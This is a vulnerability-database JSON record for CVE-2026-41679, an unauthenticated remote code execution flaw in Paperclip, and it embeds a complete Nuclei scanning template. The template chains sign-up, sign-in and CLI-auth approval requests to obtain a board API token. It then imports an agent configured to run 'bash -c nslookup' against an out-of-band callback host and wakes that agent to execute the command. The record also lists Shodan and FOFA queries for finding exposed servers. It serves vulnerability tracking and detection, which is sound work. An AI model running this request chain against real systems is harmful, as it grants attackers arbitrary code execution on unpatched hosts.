{ "_links": { "capec": { "href": "/api/v1/vulnerability/cve-2026-41679/capec" }, "cvss": { "href": "/api/v1/vulnerability/cve-2026-41679/cvss" }, "cwe": { "href": "/api/v1/vulnerability/cve-2026-41679/cwe" }, "enrichment": { "href": "/api/v1/vulnerability/cve-2026-41679/enrichment" }, "gcve": { "href": "/api/v1/vulnerability/cve-2026-41679/gcve" }, "self": { "href": "/api/v1/vulnerability/cve-2026-41679" }, "sightings": { "href": "/api/v1/sightings/cve-2026-41679" } }, "enrichments": { "cisa-kev": { "kev": false }, "epss": { "epss": 0.18852, "kev": false, "percentile": 0.97164 }, "nuclei": { "nuclei": true, "nuclei_template": "http/cves/2026/CVE-2026-41679.yaml", "nuclei_template_severity": "critical", "nuclei_template_yaml": "id: CVE-2026-41679\n\ninfo:\n name: Paperclip - Remote Code Execution\n author: theamanrawat,pdteam\n severity: critical\n description: |\n Paperclip < 2026.416.0 contains a remote code execution caused by a chain of six unauthenticated API calls in authenticated mode with default configuration, letting unauthenticated attackers execute arbitrary code remotely, exploit requires network access to the target.\n impact: |\n Unauthenticated attackers can execute arbitrary code remotely, leading to full system compromise.\n remediation: |\n Update to version 2026.416.0 or later.\n reference:\n - https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7\n - https://attackerkb.com/topics/86rSV7hsXi/cve-2026-41679\n - https://www.rapid7.com/db/modules/exploit/linux/http/paperclipai_unauth_rce_cve_2026_41679\n - https://nvd.nist.gov/vuln/detail/CVE-2026-41679\n - https://github.com/bartfroklage/cve-2026-41679\n classification:\n cve-id: CVE-2026-41679\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n cvss-score: 10.0\n cwe-id: CWE-862,CWE-287,CWE-1188\n epss-score: 0.18852\n epss-percentile: 0.97164\n cpe: cpe:2.3:a:paperclipai:paperclipai:*:*:*:*:*:node.js:*:*\n metadata:\n verified: true\n max-request: 7\n vendor: paperclipai\n product: paperclipai\n shodan-query: http.title:\"Paperclip\" port:3100\n fofa-query: title=\"Paperclip\" && port=\"3100\"\n tags: cve,cve2026,paperclip,paperclipai,rce,unauth,oast,intrusive,vuln,vkev\n\nvariables:\n r_user: \"{{rand_text_alpha(8)}}\"\n r_email: \"{{rand_text_alpha(8)}}@{{rand_text_alpha(5)}}.com\"\n r_pass: \"{{rand_text_alphanumeric(16)}}\"\n r_corp: \"{{rand_text_alpha(8)}}\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)\n\nhttp:\n - method: GET\n path:\n - \"{{BaseURL}}/api/health\"\n matchers:\n - type: dsl\n internal: true\n dsl:\n - \"status_code == 200\"\n - \"contains(body, 'deploymentMode')\"\n - \"contains(body, 'status')\"\n condition: and\n\n - raw:\n - |\n POST /api/auth/sign-up/email HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n Origin: {{RootURL}}\n\n {\"email\":\"{{r_email}}\",\"password\":\"{{r_pass}}\",\"name\":\"{{r_user}}\"}\n\n matchers:\n - type: dsl\n internal: true\n dsl:\n - \"status_code == 200\"\n - \"contains(body, 'createdAt')\"\n condition: and\n\n - raw:\n - |\n POST /api/auth/sign-in/email HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n Origin: {{RootURL}}\n\n {\"email\":\"{{r_email}}\",\"password\":\"{{r_pass}}\"}\n\n extractors:\n - type: regex\n name: session_cookie\n internal: true\n part: header\n group: 1\n regex:\n - '(?i)set-cookie:\\s*([^;\\r\\n]*session[_-]token=[^;\\r\\n]+)'\n\n matchers:\n - type: dsl\n internal: true\n dsl:\n - \"status_code == 200\"\n - \"contains(body, 'token')\"\n condition: and\n\n - raw:\n - |\n POST /api/cli-auth/challenges HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n Origin: {{RootURL}}\n\n {\"command\":\"{{rand_text_alpha(6)}}\"}\n\n extractors:\n - type: json\n name: challenge_id\n internal: true\n json:\n - \".id\"\n - type: json\n name: challenge_token\n internal: true\n json:\n - \".token\"\n - type: json\n name: board_api_token\n internal: true\n json:\n - \".boardApiToken\"\n matchers:\n - type: dsl\n internal: true\n dsl:\n - \"status_code == 201\"\n - \"contains(body, 'boardApiToken')\"\n condition: and\n\n - raw:\n - |\n POST /api/cli-auth/challenges/{{challenge_id}}/approve HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n Origin: {{RootURL}}\n\n {\"token\":\"{{challenge_token}}\"}\n matchers:\n - type: dsl\n internal: true\n dsl:\n - \"status_code == 200\"\n - \"!contains(body, 'error')\"\n condition: and\n\n - raw:\n - |\n POST /api/companies/import HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n Authorization: Bearer {{board_api_token}}\n Origin: {{RootURL}}\n\n {\"source\":{\"type\":\"inline\",\"files\":{\"COMPANY.md\":\"---\\nname: {{r_corp}}\\nslug: {{r_corp}}\\n---\\nx\",\"agents/pwn/AGENTS.md\":\"---\\nkind: agent\\nname: pwn\\nslug: pwn\\nrole: engineer\\n---\\nx\",\".paperclip.yaml\":\"agents:\\n pwn:\\n icon: terminal\\n adapter:\\n type: process\\n config:\\n command: bash\\n args:\\n - -c\\n - nslookup {{interactsh-url}}\"}},\"target\":{\"mode\":\"new_company\",\"newCompanyName\":\"{{r_corp}}\"},\"include\":{\"company\":true,\"agents\":true},\"agents\":\"all\"}\n\n - |\n POST /api/agents/{{agent_id}}/wakeup HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n Authorization: Bearer {{board_api_token}}\n Origin: {{RootURL}}\n\n {}\n\n extractors:\n - type: json\n name: agent_id\n internal: true\n json:\n - \".agents[0].id\"\n\n matchers-condition: and\n matchers:\n - type: word\n part: interactsh_protocol\n words:\n - \"dns\"\n\n - type: dsl\n dsl:\n - \"status_code_1 == 200\"\n - \"contains(body_1, 'agents')\"\n - \"status_code_2 == 202\"\n condition: and\n# digest: 4b0a00483046022100afabfba9c16ce377870a57f365b5655c7c3b092b920e9e19768aec3efe924981022100ba4dcb6dcdcd2ac10bf5eae9dd8e09962c09f70eea22177ad1b1b35dfda948c8:922c64590222798bb761d5b6d8e72950" } }, "vuln_id": "cve-2026-41679" }